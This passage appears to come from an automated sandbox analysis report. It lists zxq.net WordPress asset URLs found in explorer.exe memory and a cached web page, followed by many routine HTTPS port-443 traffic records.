Source: explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192222397.0000000003B88000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2022/02/zxq-icon-150x150.png
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2022/02/zxq-icon-300x300.png
Source: explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.000000000071E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2022/03/follow-us-on-google-news-banner-black-150x58.png
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2022/03/follow-us-on-google-news-banner-black-300x117.png
Source: explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.000000000071E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2022/03/follow-us-on-google-news-banner-black-450x175.png
Source: explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.000000000071E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2022/03/follow-us-on-google-news-banner-black.png
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2024/10/Choosing-the-Right-Commercial-Cleaning-Company-for-Your-B
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2024/10/Customizable-Online-Games-A-Personalized-Gaming-Experienc
Source: explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.000000000071E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2024/10/DIY-Home-Repair-Projects-for-Busy-Singaporeans-1024x576.p
Source: explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.000000000071E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2024/10/DIY-Home-Repair-Projects-for-Busy-Singaporeans-150x84.png
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2024/10/DIY-Home-Repair-Projects-for-Busy-Singaporeans-300x169.pn
Source: explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.000000000071E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2024/10/DIY-Home-Repair-Projects-for-Busy-Singaporeans-450x253.pn
Source: explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.000000000071E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2024/10/DIY-Home-Repair-Projects-for-Busy-Singaporeans-768x432.pn
Source: explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.000000000071E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2024/10/DIY-Home-Repair-Projects-for-Busy-Singaporeans.png
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2024/10/Essential-Factors-to-Consider-for-Effective-Water-Extract
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2024/10/Exploring-the-World-of-Green-Herb-The-Ultimate-Showdown-o
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2024/10/How-to-Handle-Quick-Home-Repairs-Without-Professional-Hel
Source: explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.000000000071E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192222397.0000000003B85000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2024/10/Snoring-and-Sleep-Apnea-1024x576.png
Source: explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.000000000071E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192222397.0000000003B85000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2024/10/Snoring-and-Sleep-Apnea-150x84.png
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2024/10/Snoring-and-Sleep-Apnea-300x169.png
Source: explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.000000000071E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192222397.0000000003B85000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2024/10/Snoring-and-Sleep-Apnea-450x253.png
Source: explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.000000000071E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192222397.0000000003B85000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2024/10/Snoring-and-Sleep-Apnea-768x432.png
Source: explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.000000000071E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192222397.0000000003B85000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2024/10/Snoring-and-Sleep-Apnea.png
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2024/10/Transform-Your-Space-Simple-Home-Repairs-for-Singaporeans
Source: explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-includes/css/dist/block-library/style.min.css?ver=5.9.1
Source: explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192222397.0000000003B88000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2
Source: explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192222397.0000000003B88000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-includes/js/jquery/jquery.min.js?ver=3.6.0
Source: explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192222397.0000000003B88000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-includes/wlwmanifest.xml
Source: explorer.exe, 00000004.00000003.2658748665.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2177725240.0000000000725000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-json/
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fzxq.net%2Fwhat-happened-to-the-old-zxq-we
Source: explorer.exe, 00000004.00000003.2658748665.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-json/wp/v2/pages/187
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/write-for-us/
Source: explorer.exe, 00000004.00000003.2192097102.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192186591.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/wu
Source: explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192222397.0000000003B88000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/xmlrpc.php?rsd

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 60575 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60598 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 60655 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60552 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60632 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60532
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60653
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60531
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60652
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60530
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60651
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60772
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60650
Source: unknown	Network traffic detected: HTTP traffic on port 60517 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60539
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60538
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60659
Source: unknown	Network traffic detected: HTTP traffic on port 60712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60537
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60658
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60536
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60657
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60535
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60656
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60534
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60655
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60776
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60533
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60654
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 60528 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60484 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60543
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60664
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60542
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60663
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60541
Source: unknown	Network traffic detected: HTTP traffic on port 60644 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60662
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60540
Source: unknown	Network traffic detected: HTTP traffic on port 60587 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60541 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60660
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60780
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60549
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60548
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60547
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60668
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60546
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60545
Source: unknown	Network traffic detected: HTTP traffic on port 60495 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60544
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60665
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 60609 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60460 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60554
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60553
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60552
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60551
Source: unknown	Network traffic detected: HTTP traffic on port 60586 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60672
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60550
Source: unknown	Network traffic detected: HTTP traffic on port 60700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 60473 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60530 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60559
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60558
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60557
Source: unknown	Network traffic detected: HTTP traffic on port 60643 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60556
Source: unknown	Network traffic detected: HTTP traffic on port 60496 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60555
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60676
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 60610 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60553 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60505 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60565
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60564
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60563
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60684
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60562
Source: unknown	Network traffic detected: HTTP traffic on port 60516 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60560
Source: unknown	Network traffic detected: HTTP traffic on port 60564 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60680
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 60459 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60569
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60568
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60567
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60688
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60566
Source: unknown	Network traffic detected: HTTP traffic on port 60621 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 60527 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60619
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60618
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 60688 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60462 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60504 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60588 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60565 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60542 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60617
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60616
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60736
Source: unknown	Network traffic detected: HTTP traffic on port 60471 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60614
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60494 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60613
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60612
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 60607 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60611
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60610
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 60576 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60509
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60508
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60629
Source: unknown	Network traffic detected: HTTP traffic on port 60654 -> 443
